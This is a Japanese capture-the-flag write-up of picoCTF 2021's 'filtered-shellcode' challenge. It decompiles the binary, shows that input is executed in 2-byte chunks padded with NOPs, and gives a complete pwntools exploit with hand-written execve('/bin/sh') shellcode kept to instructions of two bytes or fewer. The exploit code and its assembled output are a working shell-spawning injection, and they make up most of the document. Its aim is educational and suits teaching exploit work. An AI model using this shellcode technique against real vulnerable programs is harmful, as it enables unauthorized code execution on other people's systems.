シェルコードを入力してシェルをとる

picoCTF 2021の「filtered-shellcode」。

シェルコードを注入してシェルをとるいつものpwnとは少し違った問題(シェルコードの各命令を2バイト以下に抑えなくてはいけないという制限がある)。

またpwntoolsのshellcraftを初めて使った。

プログラムの概要

文字入力を待ち受ける。何か文字入力してみてもうまく動かない。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./fun    
Give me code to run:

セキュリティ機構はすべて解除された32bitプログラム

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ checksec ./fun
[*] '/home/shoebill/pwn/fun'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

プログラムの解析

バイナリfunしか与えられない。とりあえずGhidraでデコンパイルしてみる。

undefined4 main(void)
{
  int iVar1;
  char local_3fd [1000];
  char local_15;
  uint local_14;
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  setbuf(stdout,(char *)0x0);
  local_14 = 0;
  local_15 = 0;
  puts("Give me code to run:");
  iVar1 = fgetc(stdin);
  local_15 = (char)iVar1;
  for (; (local_15 != '\n' && (local_14 < 1000)); local_14 = local_14 + 1) {
    local_3fd[local_14] = local_15;
    iVar1 = fgetc(stdin);
    local_15 = (char)iVar1;
  }
  if ((local_14 & 1) != 0) {
    local_3fd[local_14] = -0x70;
    local_14 = local_14 + 1;
  }
  execute(local_3fd,local_14);
  return 0;
}

main関数の最後でexecuteなる関数が実行されてる

execute関数のデコンパイル

void execute(int param_1,int param_2)
{
  int iVar1;
  int iVar2;
  uint uVar3;
  undefined4 uStack48;
  undefined auStack44 [8];
  undefined *local_24;
  undefined *local_20;
  uint local_1c;
  uint local_18;
  int local_14;
  uint i;

  uStack48 = 0x8048502;
  if ((param_1 != 0) && (param_2 != 0)) {
    local_18 = param_2 * 2;
    local_1c = local_18;
    iVar1 = ((local_18 + 0x10) / 0x10) * -0x10;
    local_20 = auStack44 + iVar1;
    local_14 = 0;
    for (i = 0; iVar2 = local_14, i < local_18; i = i + 1) {
       uVar3 = (uint)((int)i >> 0x1f) >> 0x1e;
       if ((int)((i + uVar3 & 3) - uVar3) < 2) {
         local_14 = local_14 + 1;
         auStack44[i + iVar1] = *(undefined *)(param_1 + iVar2);
       }
       else {
         auStack44[i + iVar1] = 0x90;
       }
    }
    auStack44[local_18 + iVar1] = 0xc3;
    local_24 = auStack44 + iVar1;
    *(undefined4 *)(auStack44 + iVar1 + -4) = 0x80485cb;
    (*(code *)(auStack44 + iVar1))();
    return;
  }
                       /* WARNING: Subroutine does not return */
  exit(1);
}

execute関数の最後にあるcodeが気になる。

execute関数をディスアセンブルした結果:

gdb-peda$ disas execute
Dump of assembler code for function execute:
...
   0x080485c9 <+211>: call   eax
   0x080485cb <+213>: mov    esp,ebx
   0x080485cd <+215>: nop
   0x080485ce <+216>: mov    ebx,DWORD PTR [ebp-0x4]
   0x080485d1 <+219>: leave  
   0x080485d2 <+220>: ret    
End of assembler dump.

call eaxの部分がcodeに対応していると考えられる。

そこにブレークポイントを打つ。入力に"abcdefghijklmn"を与えてやると...

与えた"abcdefghijklmn"を2バイトずつ区切って\x90で埋めてシェルコードとして実行する(call eax)。

(スタックを見てわかるように、0x90906261から0x90906e6dまでをシェルコードとして実行したのちに、次の命令mov DWORD PTR [ebp-0x20],eaxを実行する)

siコマンドでcall eaxの中に入って命令を見ると

popaを実行すると

popaはDI, SI, BP, BX, DX, CX, AXの順に格納していく)

exploit

#!/usr/bin/env python3
import warnings
from pwn import *

warnings.simplefilter('ignore', category = BytesWarning)

bin_file = './fun'
binf = ELF(bin_file, checksec = False)
context.binary = binf

def attack(conn):
    shellcode = '''
        xor eax, eax
        push eax
        push eax

        mov edi, esp

        mov al, 0x2f
        add [edi], al
        inc edi
        nop

        mov al, 0x62
        add [edi], al
        inc edi
        nop

        mov al, 0x69
        add [edi], al
        inc edi
        nop

        mov al, 0x6e
        add [edi], al
        inc edi
        nop

        mov al, 0x2f
        add [edi], al
        inc edi
        nop

        mov al, 0x73
        add [edi], al
        inc edi
        nop

        mov al, 0x68
        add [edi], al
        inc edi
        nop

        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx

        mov al, 0xb
        mov ebx, esp

        int 0x80
        '''

    conn.sendlineafter('Give me code to run:\n', asm(shellcode))

def main():
    conn = process(bin_file)
    #conn = remote('mercury.picoctf.net', 35338)
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

シェルコードの部分について詳しくみていく。

(32bit)シェルを起動するシェルコード、ここではexecve('/bin/sh', 0, 0)をsyscallする。なので以下のように設定すればよい:

ちなみにシステムコール番号はコマンドで確認することが可能:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ausyscall i686 --dump | grep 'execve' 
11  execve
358 execveat

以上を踏まえてざっと次のように書ける

xor eax, eax
push eax
push eax
push 'n/sh'
push '/bi'

mov ebx, esp
xor ecx, ecx
xor edx, edx

mov al, 11
int 0x80

nullバイトを出現させないためにxorによる0クリアやalレジスタの使用を行う。 (ここら辺のテクニックは策謀本の0x500にも書いてある)

しかしこのプログラムでは、入力が\x90によって2バイトずつに区切られてしまうから、2バイト以下の命令を使ってシェルコード書く必要がある。

また1バイトの命令については適宜NOP(\x90)を挟んで帳尻を合わせる。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ echo -n '/bin/sh' | xxd
00000000: 2f62 696e 2f73 68                        /bin/sh

そこで以下のように書き換える

xor eax, eax   ; eaxレジスタの0クリア
push eax   ; 文字列"/bin/sh"の為のスペース
push eax   ; 文字列"/bin/sh"の為のスペース

mov edi, esp   ; 後に[]の間接演算でアクセスする為にediをスタックトップとして設定しおく

mov al, 0x2f   ; "/bin/sh"という文字列の一文字目のスラッシュをeaxレジスタの下位8ビットに格納
add [edi], al   ; この間接演算でスタックの先頭1バイトに"/"が格納される
inc edi   ; ediレジスタをインクリメントして次のアドレスを指すようにする
nop   ; `inc edi`で1バイトだから、2バイトに揃えるためのnop

mov al, 0x62   ; 以下、この調子で一文字ずつ"/bin/sh"の文字列を格納していく
add [edi], al
inc edi
nop
...
mov al, 0x68
add [edi], al
inc edi
nop

xor ebx, ebx   ; 各レジスタを0にする
xor ecx, ecx
xor edx, edx

mov al, 0xb   ; execveのシステムコール番号を格納
mov ebx, esp   ; スタック先頭のアドレスすなわち、文字列/bin/shのアドレスをebxレジスタに設定する

int 0x80   ; syscall

pwntoolsのshellcraftでみた様子:

>>> shellcode = '''
...: xor eax, eax
...: push eax
...: push eax
...: mov edi, esp
...: 
...: mov al, 0x2f
...: add [edi], al
...: inc edi
...: nop
...: 
...: mov al, 0x62
...: add [edi], al
...: inc edi
...: nop
...: 
...: mov al, 0x69
...: add [edi], al
...: inc edi
...: nop
...: 
...: mov al, 0x6e
...: add [edi], al
...: inc edi
...: nop
...: 
...: mov al, 0x2f
...: add [edi], al
...: inc edi
...: nop
...: 
...: mov al, 0x73
...: add [edi], al
...: inc edi
...: nop
...: 
...: mov al, 0x68
...: add [edi], al
...: inc edi
...: nop
...: 
...: xor ebx, ebx
...: xor ecx, ecx
...: xor edx, edx
...: 
...: mov al, 0xb
...: mov ebx, esp
...: 
...: int 0x80
...: '''

>>> print(asm(shellcode))
b'1\xc0PP\x89\xe7\xb0/\x00\x07G\x90\xb0b\x00\x07G\x90\xb0i\x00\x07G\x90\xb0n\x00\x07G\x90\xb0/\x00\x07G\x90\xb0s\x00\x07G\x90\xb0h\x00\x07G\x901\xdb1\xc91\xd2\xb0\x0b\x89\xe3\xcd\x80'

>>> print(disasm(b'1\xc0PP\x89\xe7\xb0/\x00\x07G\x90\xb0b\x00\x07G\x90\xb0i\x00\x07G\x90\xb0n\x00\x07G\x90
...: \xb0/\x00\x07G\x90\xb0s\x00\x07G\x90\xb0h\x00\x07G\x901\xdb1\xc91\xd2\xb0\x0b\x89\xe3\xcd\x80'))
   0:   31 c0                   xor    eax, eax
   2:   50                      push   eax
   3:   50                      push   eax
   4:   89 e7                   mov    edi, esp
   6:   b0 2f                   mov    al, 0x2f
   8:   00 07                   add    BYTE PTR [edi], al
   a:   47                      inc    edi
   b:   90                      nop
   c:   b0 62                   mov    al, 0x62
   e:   00 07                   add    BYTE PTR [edi], al
  10:   47                      inc    edi
  11:   90                      nop
  12:   b0 69                   mov    al, 0x69
  14:   00 07                   add    BYTE PTR [edi], al
  16:   47                      inc    edi
  17:   90                      nop
  18:   b0 6e                   mov    al, 0x6e
  1a:   00 07                   add    BYTE PTR [edi], al
  1c:   47                      inc    edi
  1d:   90                      nop
  1e:   b0 2f                   mov    al, 0x2f
  20:   00 07                   add    BYTE PTR [edi], al
  22:   47                      inc    edi
  23:   90                      nop
  24:   b0 73                   mov    al, 0x73
  26:   00 07                   add    BYTE PTR [edi], al
  28:   47                      inc    edi
  29:   90                      nop
  2a:   b0 68                   mov    al, 0x68
  2c:   00 07                   add    BYTE PTR [edi], al
  2e:   47                      inc    edi
  2f:   90                      nop
  30:   31 db                   xor    ebx, ebx
  32:   31 c9                   xor    ecx, ecx
  34:   31 d2                   xor    edx, edx
  36:   b0 0b                   mov    al, 0xb
  38:   89 e3                   mov    ebx, esp
  3a:   cd 80                   int    0x80

各命令が2バイト以下になっていることがわかる。